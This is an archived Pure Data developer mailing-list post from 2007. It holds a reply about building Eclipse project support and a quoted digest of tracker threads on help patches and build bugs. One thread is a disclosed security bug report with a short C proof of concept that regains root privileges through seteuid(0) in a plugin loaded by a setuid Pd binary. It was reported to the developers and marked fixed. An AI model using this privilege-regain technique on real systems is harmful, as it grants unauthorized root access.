[PD-dev] PD+Eclipse

Julian Villegas julovi at yahoo.com
Tue Nov 20 13:01:59 CET 2007


Hi,
several months ago I asked the same question and someone told me that since the externals are typically monolithic applications there was no need for Eclipse. I don't know how to create a project template that can be useful for developing externals and the PD-core itself, but I'd be a happy user of it...
 
Julian Villegas

Me pregunto de un modo pensativo
Que significa ser Colombiano?
No se le respondi. Es un acto de fe
                                        JLB.

----- Original Message ----
From: "pd-dev-request at iem.at" <pd-dev-request at iem.at>
To: pd-dev at iem.at
Sent: Tuesday, November 20, 2007 8:00:02 PM
Subject: PD-dev Digest, Vol 32, Issue 40


Send PD-dev mailing list submissions to
    pd-dev at iem.at

To subscribe or unsubscribe via the World Wide Web, visit
    http://lists.puredata.info/listinfo/pd-dev
or, via email, send a message with subject or body 'help' to
    pd-dev-request at iem.at

You can reach the person managing the list at
    pd-dev-owner at iem.at

When replying, please edit your Subject line so it is more specific
than "Re: Contents of PD-dev digest..."


Today's Topics:

   1. [ pure-data-Patches-1552482 ] update to [cnv] help to
      document arguments (SourceForge.net)
   2. eclipse + pd (Hans-Christoph Steiner)
   3. [ pure-data-Bugs-1825839 ] pd-extended autobuild 0.40.2 ~>
      (zexy) (SourceForge.net)
   4. [ pure-data-Bugs-1602345 ] security vulnerability,    giving
      root access (SourceForge.net)
   5. Re: eclipse + pd (mescalinum at gmail.com)


----------------------------------------------------------------------

Message: 1
Date: Mon, 19 Nov 2007 08:11:53 -0800
From: "SourceForge.net" <noreply at sourceforge.net>
Subject: [PD-dev] [ pure-data-Patches-1552482 ] update to [cnv] help
    to    document arguments
To: noreply at sourceforge.net
Message-ID: <E1Iu9E1-0002E3-Bh at sc8-sf-web24.sourceforge.net>
Content-Type: text/plain; charset="UTF-8"

Patches item #1552482, was opened at 2006-09-05 01:48
Message generated for change (Comment added) made by lukeiannini
You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=478072&aid=1552482&group_id=55736

Please note that this message will contain a full copy of the comment
 thread,
including the initial issue submission, for this request,
not just the latest update.
Category: puredata
Group: bugfix
Status: Open
Resolution: None
Priority: 5
Private: No
Submitted By: Luke Iannini (lukeiannini)
Assigned to: Miller Puckette (millerpuckette)
Summary: update to [cnv] help to document arguments

Initial Comment:
The canvas object seems to take arguments happily enough - while I 
could not find this documented, I discovered what went where by trying 
"cnv a b c d e f g h..." and checking where they ended up in the 
properties.  This worked, but while the arguments appear in the 
properties, they do not actually "show up" in the canvas until the
 property 
window is closed again.

I've attached a patch that demonstrates this behavior.

(I was hoping to build a "canvas generator" that would save me the 
trouble of opening property windows to set dimensions or a recieve 
symbol that could be used with Joao Miguel Pais's "gui-edit"
 abstraction.  
But the receive symbol does not start functioning until the props are 
opened, then closed.)

Also, the first 3 arguments do not seem to do anything (they'd
 logically 
control "selectable size" and the x and y dimensions of the canvas).

----------------------------------------------------------------------

>Comment By: Luke Iannini (lukeiannini)
Date: 2007-11-19 09:11

Message:
Logged In: YES 
user_id=1541432
Originator: YES

Sorry I never did this, here's the file.
File Added: my_canvas-help.pd

----------------------------------------------------------------------

Comment By: Hans-Christoph Steiner (eighthave)
Date: 2007-06-14 08:20

Message:
Logged In: YES 
user_id=27104
Originator: NO

this patch does not apply cleanly to anything that I tried.  Please
 submit
the original pd help patch rather than the diff/patch file.  diffs
 don't
really work with .pd files.

----------------------------------------------------------------------

Comment By: Luke Iannini (lukeiannini)
Date: 2006-09-20 02:45

Message:
Logged In: YES 
user_id=1541432

Hello Hans,
Done : ). But I can't effect the bug>patch change.

----------------------------------------------------------------------

Comment By: Hans-Christoph Steiner (eighthave)
Date: 2006-09-15 17:54

Message:
Logged In: YES 
user_id=27104


It would be awesome then if you updated the help file and
submitted that as a patch to the tracker.  Then the rest of
us can benefit from your explorations.

You can attach an updated help file to this tracker, then
change it from a "Bug" to a "Patch".

----------------------------------------------------------------------

Comment By: Luke Iannini (lukeiannini)
Date: 2006-09-05 03:12

Message:
Logged In: YES 
user_id=1541432

Sorry about that, thanks!

----------------------------------------------------------------------

Comment By: IOhannes m zm?g (zmoelnig)
Date: 2006-09-05 03:03

Message:
Logged In: YES 
user_id=564396

this is, because you are using wrong arguments and not
because of a bug in [cnv].
attached is a working patch (which uses more arguments than
the original one)

there are 4 possibilities to "reverse engineer" the
arguments of an object:
1) read the help (won't help you with [cnv])
2) read the pd-list (ask! chances are high that somebody
already solved your problem)
3) read the patch (save a patch with the object as you would
like it; open the patch with a text editor; look which
arguments are used; understand what the arguments mean)
4) read the source

esp. #3 is a very simple and efficient and good way to
discover the arguments of an object (the object usually
knows best which arguments it needs)

----------------------------------------------------------------------

Comment By: Luke Iannini (lukeiannini)
Date: 2006-09-05 01:50

Message:
Logged In: YES 
user_id=1541432

This is on Pd-x-39.2t4 (OS X.4.7 PPC)

----------------------------------------------------------------------

You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=478072&aid=1552482&group_id=55736



------------------------------

Message: 2
Date: Mon, 19 Nov 2007 20:00:40 -0500
From: Hans-Christoph Steiner <hans at eds.org>
Subject: [PD-dev] eclipse + pd
To: pd-dev List <pd-dev at iem.at>
Message-ID: <A30F714A-11BE-49C8-89B7-DB8546156231 at eds.org>
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed


Hey all,

I am thinking it's about time that we have a standard profile in a  
full featured IDE for developing Pd.  I am thinking that Eclipse is  
the best bet since it runs everywhere, it's free, and it already has  
C/C++ and Tcl modes.

Has anyone worked with Pd+Eclipse at all?  Anyone want to help make a  
Pd project profile?  I think the key idea would be to make an Eclipse  
project to allow people to develop their externals wherever they  
want, but make sure that the code from that project can easily drop  
into the Pd-extended build system.

.hc


------------------------------------------------------------------------ 
----

Terrorism is not an enemy.  It cannot be defeated.  It's a tactic.   
It's about as sensible to say we declare war on night attacks and  
expect we're going to win that war.  We're not going to win the war  
on terrorism.        - retired U.S. Army general, William Odom





------------------------------

Message: 3
Date: Mon, 19 Nov 2007 19:20:04 -0800
From: "SourceForge.net" <noreply at sourceforge.net>
Subject: [PD-dev] [ pure-data-Bugs-1825839 ] pd-extended autobuild
    0.40.2 ~>    (zexy)
To: noreply at sourceforge.net
Message-ID: <E1IuJee-0004t0-An at sc8-sf-glue1.sourceforge.net>
Content-Type: text/plain; charset="UTF-8"

Bugs item #1825839, was opened at 2007-11-04 20:24
Message generated for change (Comment added) made by sf-robot
You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=478070&aid=1825839&group_id=55736

Please note that this message will contain a full copy of the comment
 thread,
including the initial issue submission, for this request,
not just the latest update.
Category: externals
Group: v0.40.2
>Status: Closed
Resolution: Duplicate
Priority: 5
Private: No
Submitted By: wipinmtl (wipinmtl)
Assigned to: Nobody/Anonymous (nobody)
Summary: pd-extended autobuild 0.40.2 ~> (zexy)

Initial Comment:
~> 38
... couldn't create

in pd-extended autobuild 0.40.2 (for gutsy). should be part of zexy.

----------------------------------------------------------------------

>Comment By: SourceForge Robot (sf-robot)
Date: 2007-11-19 19:20

Message:
Logged In: YES 
user_id=1312539
Originator: NO

This Tracker item was closed automatically by the system. It was
previously set to a Pending status, and the original submitter
did not respond within 14 days (the time period specified by
the administrator of this Tracker).

----------------------------------------------------------------------

Comment By: IOhannes m zm?g (zmoelnig)
Date: 2007-11-04 23:51

Message:
Logged In: YES 
user_id=564396
Originator: NO

the object is named [>~] instead of [~>].

apart from that it seems to be a duplication of bug-#1702883.


if the problem persists with the correct object name, please run Pd
 with
"-verbose" and tell us the exact error-lines (preferably in
 bug#1702883)


----------------------------------------------------------------------

You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=478070&aid=1825839&group_id=55736



------------------------------

Message: 4
Date: Mon, 19 Nov 2007 19:20:07 -0800
From: "SourceForge.net" <noreply at sourceforge.net>
Subject: [PD-dev] [ pure-data-Bugs-1602345 ] security vulnerability,
    giving root access
To: noreply at sourceforge.net
Message-ID: <E1IuJeh-0004yX-9l at sc8-sf-glue1.sourceforge.net>
Content-Type: text/plain; charset="UTF-8"

Bugs item #1602345, was opened at 2006-11-24 07:48
Message generated for change (Comment added) made by sf-robot
You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=478070&aid=1602345&group_id=55736

Please note that this message will contain a full copy of the comment
 thread,
including the initial issue submission, for this request,
not just the latest update.
Category: puredata
Group: None
>Status: Closed
Resolution: Fixed
Priority: 5
Private: No
Submitted By: Mathieu Bouchard (matju)
Assigned to: Miller Puckette (millerpuckette)
Summary: security vulnerability, giving root access

Initial Comment:
first configure with --enable-setuid or just chmod 4755 pd && chown
 root pd, which has the same effect.

then load this external called crack.c by making a [crack] box or -lib
 crack:

#include <unistd.h>
#include <stdio.h>
void crack_setup (void) {
  seteuid(0);
  fopen("/hax0r","w");
}

An empty file called "hax0r" appears in protected folder "/" even
 though privileges have been dropped by pd upon startup.


----------------------------------------------------------------------

>Comment By: SourceForge Robot (sf-robot)
Date: 2007-11-19 19:20

Message:
Logged In: YES 
user_id=1312539
Originator: NO

This Tracker item was closed automatically by the system. It was
previously set to a Pending status, and the original submitter
did not respond within 14 days (the time period specified by
the administrator of this Tracker).

----------------------------------------------------------------------

Comment By: Hans-Christoph Steiner (eighthave)
Date: 2007-11-05 17:01

Message:
Logged In: YES 
user_id=27104
Originator: NO


I am pretty sure this the bug fixed by Miller's 0.40.3 and 0.39.3
releases.  Please adjust if I am wrong.

----------------------------------------------------------------------

You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=478070&aid=1602345&group_id=55736



------------------------------

Message: 5
Date: Tue, 20 Nov 2007 10:09:23 +0100
From: mescalinum at gmail.com
Subject: Re: [PD-dev] eclipse + pd
To: "Hans-Christoph Steiner" <hans at eds.org>
Cc: pd-dev List <pd-dev at iem.at>
Message-ID:
    <673c07010711200109w551cfb52k7a5b4f3ccc0e05a0 at mail.gmail.com>
Content-Type: text/plain; charset=ISO-8859-1

> I am thinking it's about time that we have a standard profile in a
> full featured IDE for developing Pd.  I am thinking that Eclipse is
> the best bet since it runs everywhere, it's free, and it already has
> C/C++ and Tcl modes.
>
> Has anyone worked with Pd+Eclipse at all?  Anyone want to help make a
> Pd project profile?  I think the key idea would be to make an Eclipse
> project to allow people to develop their externals wherever they
> want, but make sure that the code from that project can easily drop
> into the Pd-extended build system.

I like the idea!!
but I started to look at Eclipse very recently, still I am a newbie.
but I've seen IDEs for almost everything running in Eclipse (I'll
start to look at the Graphical Editing Framework) its plugin API looks
very powerful

also here at work I see Eclipse is a standard de facto.

hope more devs get interested in this.
-- 
Federico Ferri



------------------------------

_______________________________________________
PD-dev mailing list
PD-dev at iem.at
http://lists.puredata.info/listinfo/pd-dev


End of PD-dev Digest, Vol 32, Issue 40
**************************************






      ____________________________________________________________________________________
Never miss a thing.  Make Yahoo your home page. 
http://www.yahoo.com/r/hs
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.puredata.info/pipermail/pd-dev/attachments/20071120/04f40b3d/attachment.htm>


More information about the Pd-dev mailing list